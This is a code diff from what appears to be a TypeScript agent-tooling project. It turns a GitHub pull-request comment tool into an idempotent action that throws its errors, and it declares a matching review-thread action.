+ const { bounded, github, githubRepo } = ctx;
164
+ const commentInput = z.object({
165
+ dir: z.string().describe("The checkout directory"),
166
+ number: z
167
+ .number()
168
+ .int()
169
+ .positive()
170
+ .describe("Pull request or issue number"),
171
+ body: z.string().describe("The comment, as markdown")
172
+ });
173
+ return {
174
+ repo_pr_comment: action({
175
+ description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished. The same comment twice in one task is posted once.",
176
+ inputSchema: commentInput,
177
+ timeoutMs: GITHUB_ACTION_TIMEOUT_MS,
178
+ idempotencyKey: async ({ input, ctx: turn }) => `${actionTask(turn)}:${input.dir}#${input.number}:comment:${await sha256(input.body)}`,
162
179
  execute: async ({ dir, number, body }) => {
163
- const target = await forgeRepo(dir);
180
+ const target = await githubRepo(dir);
164
181
  if ("refusal" in target)
165
- return target.refusal;
182
+ throw new Error(target.refusal);
166
183
  const { owner, repo } = target;
167
- const posted = await forge("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
184
+ const posted = await github("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
168
185
  if (!posted.ok)
169
186
  // The same hazard `repo_open_pr` names, for the same reason: a POST
170
- // whose answer never arrived may still have been received, and a blind
171
- // retry is how one comment becomes two.
172
- return bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
173
- `comment may exist anyway — read it back with repo_issue_view before retrying.`);
187
+ // whose answer never arrived may still have been received. The key
188
+ // is released, so a retry posts again.
189
+ throw new Error(bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
190
+ `comment may exist anyway — read it back with repo_issue_view before retrying.`));
174
191
  const data = posted.data;
175
192
  return data.html_url ?? `commented on #${number}`;
176
193
  }
@@ -1,3 +1,12 @@
1
+ import { type Action } from "@cloudflare/think";
1
2
  import type { ToolSet } from "ai";
2
3
  import type { RepoContext } from "./context.js";
3
4
  export declare function reviewTools(ctx: RepoContext): ToolSet;
5
+ /**
6
+ * Answering a thread, as a Think action — see
7
+ * {@link file://./tools-pr.ts prActions} for why every failure is
8
+ * thrown. The one outcome returned short of success is a reply that landed on
9
+ * a thread that did not resolve: that reply must never be sent again, so it is
10
+ * settled, and the resolve-only call it asks for is a different key.
11
+ */
12
+ export declare function reviewActions(ctx: RepoContext): Record<string, Action>;